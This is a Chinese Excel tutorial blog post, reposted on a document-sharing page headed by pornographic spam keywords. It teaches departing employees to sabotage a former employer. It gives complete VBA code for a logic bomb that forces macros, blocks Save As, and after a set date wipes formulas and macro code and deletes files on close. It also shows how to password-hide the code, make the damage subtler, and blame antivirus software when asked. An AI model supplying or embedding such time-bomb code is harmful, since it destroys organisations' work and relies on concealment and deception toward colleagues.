免费视频淫片aa毛片_日韩高清在线亚洲专区vr_日韩大片免费观看视频播放_亚洲欧美国产精品完整版

打開APP
userphoto
未登錄

開通VIP,暢享免費(fèi)電子書等14項(xiàng)超值服

開通VIP
如何在離職一個(gè)月后,讓自己曾經(jīng)辛苦制作的Excel模板優(yōu)雅的自動(dòng)報(bào)廢?
每天一篇Excel技術(shù)圖文
微信公眾號(hào):Excel星球

NO.451-要要切克鬧
作者:看見星光
 微博:EXCELers / 知識(shí)星球:Excel

HI,大家好,我是星光。

有句俗話說,職場(chǎng)如戰(zhàn)場(chǎng),什么齷齪事都有。有的朋友在公司辛苦打拼,加班加點(diǎn)任勞任怨,工資不漲也就算了,還總是被給小鞋穿;臨了辭職,也是遭遇各種小絆子,以至于一口惡氣堵在胸口,大半年不愉快,非常影響生活質(zhì)量——

于是有的朋友就問了,我辭職之前能不能把做的Excel模板刪掉?我辛辛苦苦的勞動(dòng)成果憑啥便宜那群白眼狼?

刪模板?當(dāng)著前公司領(lǐng)導(dǎo)和前同事的面刪模板?當(dāng)然是——不行的!善良如你絕無可能以如此絕決的方式撕破他們的臉;另外,為什么要?jiǎng)h呢?給他們留個(gè)爛蘋果固然很好,但吃蘋果最可怕的并不是吃到爛蘋果,而是一口下去咬到好幾條毛毛蟲——所以我隆重向你推薦這個(gè)方案:

在離職一個(gè)月后,讓模板優(yōu)雅的自動(dòng)報(bào)廢。

……

假設(shè)我們有一個(gè)模板,叫'擺攤吧!后浪',這是一份你辛苦良久,加班加點(diǎn),整理業(yè)務(wù)邏輯、數(shù)據(jù)邏輯;編寫函數(shù),甚至VBA代碼蛋生的勞動(dòng)成果。

步驟1

制作說明表


打開模板工作簿,新建一張工作表,命名為說明表。在醒目位置敲下以下文字:

使用本模板必須啟用宏

如有其它說明,可以根據(jù)自身需要,放肆補(bǔ)充。

步驟2

保護(hù)工作簿結(jié)構(gòu)


將所有工作表隱藏,只保留說明表。

在【審閱】選項(xiàng)卡下,單擊【保護(hù)工作簿】,保持【結(jié)構(gòu)】復(fù)選框選中狀態(tài)不變,輸入保護(hù)密碼。(金魚同志,組織讓我給你捎句話,這密碼你需要記住幾秒鐘,別輸入完轉(zhuǎn)眼就忘卻了)。

這一步的意義是什么呢?所有工作表都隱藏起來了,模板還怎么用?——目的其實(shí)是強(qiáng)制用戶啟用宏,不啟用宏,就無法正常使用模板……繼續(xù)往下看▼

步驟3

編寫定時(shí)自宮代碼


按<Alt F11>組合鍵,打開VBE編輯器,雙擊ThisWorkbook,將以下代碼復(fù)制粘貼到右側(cè)的代碼窗口。


復(fù)制以下代碼...▼
'工作簿打開,取消工作表隱藏Private Sub Workbook_Open() Dim sht As Worksheet On Error Resume Next ThisWorkbook.Unprotect '111111' For Each sht In Worksheets sht.Visible = xlSheetVisible Next ThisWorkbook.Protect '111111', TrueEnd Sub

'禁止文件另存為Private Sub workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean) Dim b As Long If SaveAsUI = True Then b = MsgBox('該工作簿不允許用“另存為”來保存,' & _ '你要用原工作簿名稱來保存嗎?', vbQuestion vbOKCancel) Cancel = (b = vbCancel) If Cancel = False Then Me.Save Cancel = True End IfEnd Sub
'保護(hù)工作簿結(jié)構(gòu),定時(shí)更新代碼Private Sub Workbook_BeforeClose(Cancel As Boolean) Dim sht As Worksheet, dte As Date Dim strname As String, strFullName As String On Error Resume Next With Application .ScreenUpdating = False .DisplayAlerts = False .EnableEvents = False End With dte = VBA.DateSerial(2026, 6, 16) '代碼維護(hù)更新時(shí)間 If dte < Date Then For Each sht In Worksheets sht.UsedRange.Value = sht.UsedRange.Value Next strname = Split(ThisWorkbook.Name, '.xls')(0) Workbooks(strname & '.xlsx').Close True strFullName = ThisWorkbook.FullName ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbook Kill strFullName strFullName = ThisWorkbook.FullName ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname & '臨時(shí)工', xlOpenXMLWorkbook Workbooks.Open (strFullName) ActiveWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbookMacroEnabled ActiveWorkbook.Close True Kill strFullName With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly Kill .FullName .Close End With Else For Each sht In Worksheets If sht.Name <> '說明表' Then sht.Visible = xlSheetVeryHidden End If Next ThisWorkbook.Protect '111111', True ThisWorkbook.Save End If With Application .ScreenUpdating = True .DisplayAlerts = True .EnableEvents = True End WithEnd Sub
以上代碼有3個(gè)事件過程。

第1至第10行代碼是在工作簿打開時(shí),自動(dòng)取消工作表隱藏并保護(hù)工作簿結(jié)構(gòu),以便模板正常使用。

第13至第22行代碼是禁止當(dāng)前工作簿另存為的行為。

剩下的代碼屬于第3個(gè)事件過程,是核心領(lǐng)導(dǎo)地位。在工作簿保存前,判斷當(dāng)前電腦的日期是否大于2026年6月16日;如果條件成立,則將當(dāng)前工作簿每張工作表的函數(shù)公式轉(zhuǎn)換為數(shù)值,將函數(shù)公式自殺;同時(shí)將工作簿另存為.xlsx格式,將VBA代碼自殺;再將該文件夾重命名為原文件名;如果條件不成立,則將除了'說明表'以外的工作表全部隱藏,并重新保護(hù)工作簿結(jié)構(gòu)。

代碼設(shè)置的自宮時(shí)間是2026年6月16日,您可以根據(jù)實(shí)際需要進(jìn)行調(diào)整。

dte = VBA.DateSerial(2026, 6, 16) '代碼維護(hù)更新時(shí)間,可根據(jù)需要調(diào)整

代碼設(shè)置的工作簿原始保護(hù)密碼是111111,
這個(gè)密碼必須和你在第2步輸入的工作簿保護(hù)密碼一致,您可以在代碼窗口按<Ctrl H>打開查找替換對(duì)話框,將111111替換為實(shí)際保護(hù)密碼。



步驟4

設(shè)置VBE保護(hù)密碼


在【工具】選項(xiàng)卡下單擊【VBA Project屬性】,在打開的對(duì)話框中切換到【保護(hù)】選項(xiàng)卡。勾選【查看時(shí)鎖定工程】復(fù)選框,在【查看工程的密碼】輸入保護(hù)密碼。


設(shè)置VBE保護(hù)密碼的目的是……多少遮掩一下相關(guān)代碼,別萬一被人家看到了,且看懂了,那就怪不好意思的。

步驟5

更改文件類型


第5步,也是最后一步,將當(dāng)前工作簿另存為.xlsm類型的文件。如果是保存為.xlsx類型的文件,復(fù)制粘貼的那些VBA代碼就會(huì)被系統(tǒng)自動(dòng)刪除,那就前功盡棄了。


……

做完這些設(shè)置,到達(dá)指定時(shí)間后,該工作簿就會(huì)自動(dòng)將所有的公式轉(zhuǎn)換為數(shù)值,并自動(dòng)刪除所有VBA代碼了。

模板報(bào)廢后,你的前同事有可能會(huì)期期艾艾或者兇兇巴巴的聯(lián)系你……

……

有裝360嗎?我當(dāng)初編寫的代碼被你們用殺毒軟件給殺死了吧?(360經(jīng)典背鍋俠)

確定沒有操作錯(cuò)?模板對(duì)操作者的Excel水平要求很高的,如果是小白的話,有太多可能出問題了——這個(gè)我和你真說不清楚。

備份?沒有備份。都離職1個(gè)多月了,東西早都扔垃圾桶了,備份文件做什么?就我那工資,備份文件值啥啊?……

不好意思,我都離職一個(gè)多月了,公司的業(yè)務(wù)邏輯都忘的差不多了,這我真幫不了你。你們當(dāng)時(shí)也說我的工作很簡(jiǎn)單,做事不花時(shí)間,那你們重新做下模板,或者干脆不用模板不就得了?

……

小貼士▼

1,奇葩公司奇葩同事當(dāng)然有,但想來應(yīng)該也不多,如果不是怨氣堵胸懷嚴(yán)重影響夜生活,看我真誠(chéng)的小眼神,就不必和那幫家伙一般見識(shí)了。但如果情況確實(shí)很惡劣,又有句俗話說的好,狗咬了你一口,難道你還能咬回去?——肯定得打死它!

2,以上模板自廢的方案并非不可破解,破解的方法有很多,但你身邊懂得破解的人肯定并不多。這就好比天空一朵看起來碩大的烏云,化成雨落到每個(gè)人頭上,也就只是一滴水。另外,代碼可以靈活修改,比如,只是刪除或改變關(guān)鍵部分的函數(shù)公式/VBA代碼,而不是將其全部刪——如此使自廢的過程更加隱蔽。
本站僅提供存儲(chǔ)服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊舉報(bào)。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
就這么簡(jiǎn)單!一鍵按職業(yè)拆分成多個(gè)多工作表、工作簿(完善版)
【Excel VBA】復(fù)制指定文件夾下多工作簿的工作表到匯總工作簿
VBA:如何將指定文件夾下所有工作簿的工作表移動(dòng)到當(dāng)前工作簿?
VBA/Excel-實(shí)例系列-01-工作簿目錄生成
如何按指定名稱和模板批量創(chuàng)建Excel工作簿?
細(xì)品RibbonX(50):如何共享Ribbon定制之Excel部署技術(shù)
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長(zhǎng)圖 關(guān)注 下載文章
綁定賬號(hào)成功
后續(xù)可登錄賬號(hào)暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服